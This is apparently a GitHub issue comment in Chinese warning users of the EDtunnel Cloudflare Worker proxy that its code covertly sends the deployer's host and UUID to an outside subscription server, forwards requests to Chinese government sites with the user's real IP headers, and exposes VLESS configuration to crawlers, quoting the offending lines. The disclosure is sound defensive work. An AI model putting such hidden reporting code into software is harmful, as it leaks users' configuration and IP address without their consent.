慎用，可能会被白嫖、泄漏真实IP并被公开

DewiRusso commented 6 months ago

大概看了下代码，有以下风险，看起来是故意的，不知道是钓鱼还是为了牟利，谨慎使用！！

收集当前配置信息，用于白嫖或分发进行收费牟利
会请求政府网站，泄漏真实 IP
包含 VLESS 相关信息，会被各类爬虫和搜索引擎扫描收录

75 行会上传当前的地址和配置信息

https://github.com/3Kmfi6HP/EDtunnel/blob/341cb6af7b53769d6eb5cdbe958ce7ab0cc30793/_worker.js#L75

const bestiplink = `https://sub.xf.free.hr/auto?host=${request.headers.get('Host')}&uuid=${userID_Path}`

84行会请求政府网站，并携带真实 IP

https://github.com/3Kmfi6HP/EDtunnel/blob/341cb6af7b53769d6eb5cdbe958ce7ab0cc30793/_worker.js#L89

const hostnames = ['www.fmprc.gov.cn', 'www.xuexi.cn', 'www.gov.cn', 'mail.gov.cn', 'www.mofcom.gov.cn', 'www.gfbzb.gov.cn', 'www.miit.gov.cn', 'www.12377.cn'];
url.hostname = hostnames[Math.floor(Math.random() * hostnames.length)];
url.protocol = 'https:';

newHeaders.set('cf-connecting-ip', newHeaders.get('x-forwarded-for') || newHeaders.get('cf-connecting-ip'));
newHeaders.set('x-forwarded-for', newHeaders.get('cf-connecting-ip'));
newHeaders.set('x-real-ip', newHeaders.get('cf-connecting-ip'));
newHeaders.set('referer', 'https://www.google.com/q=edtunnel');

728 行会上传当前的地址和配置信息，并且包含 VLESS 相关信息，会被各类爬虫和搜索引擎扫描

https://github.com/3Kmfi6HP/EDtunnel/blob/341cb6af7b53769d6eb5cdbe958ce7ab0cc30793/_worker.js#L728

const clash_link = `https://subconverter.do.xn--b6gac.eu.org/sub?target=clash&url=https://${hostName}/sub/${userIDArray[0]}?format=clash&insert=false&emoji=true&list=false&tfo=false&scv=true&fdn=false&sort=false&new_name=true`;
header.push(`\n<p align="center"><img src="https://cloudflare-ipfs.com/ipfs/bafybeigd6i5aavwpr6wvnwuyayklq3omonggta4x2q7kpmgafj357nkcky" alt="图片描述" style="margin-bottom: -50px;">`);
header.push(`\n<b style=" font-size: 15px;" >Welcome! This function generates configuration for VLESS protocol. If you found this useful, please check our GitHub project for more:</b>\n`);
header.push(`<b style=" font-size: 15px;" >欢迎！这是生成 VLESS 协议的配置。如果您发现这个项目很好用，请查看我们的 GitHub 项目给我一个star：</b>\n`);
header.push(`\n<a href="https://github.com/3Kmfi6HP/EDtunnel" target="_blank">EDtunnel - https://github.com/3Kmfi6HP/EDtunnel</a>\n`);
header.push(`\n<iframe src="https://ghbtns.com/github-btn.html?user=USERNAME&repo=REPOSITORY&type=star&count=true&size=large" frameborder="0" scrolling="0" width="170" height="30" title="GitHub"></iframe>\n\n`.replace(/USERNAME/g, "3Kmfi6HP").replace(/REPOSITORY/g, "EDtunnel"));
header.push(`<a href="//${hostName}/sub/${userIDArray[0]}" target="_blank">VLESS 节点订阅连接</a>\n<a href="clash://install-config?url=${encodeURIComponent(clash_link)}" target="_blank">Clash 节点订阅连接</a>\n<a href="${clash_link}" target="_blank">Clash 节点订阅连接2</a></p>\n`);
header.push(``);

751行包含 VLESS 相关信息，会被各类爬虫和搜索引擎扫描

https://github.com/3Kmfi6HP/EDtunnel/blob/341cb6af7b53769d6eb5cdbe958ce7ab0cc30793/_worker.js#L751

<meta name="description" content="This is a tool for generating VLESS protocol configurations. Give us a star on GitHub https://github.com/3Kmfi6HP/EDtunnel if you found it useful!">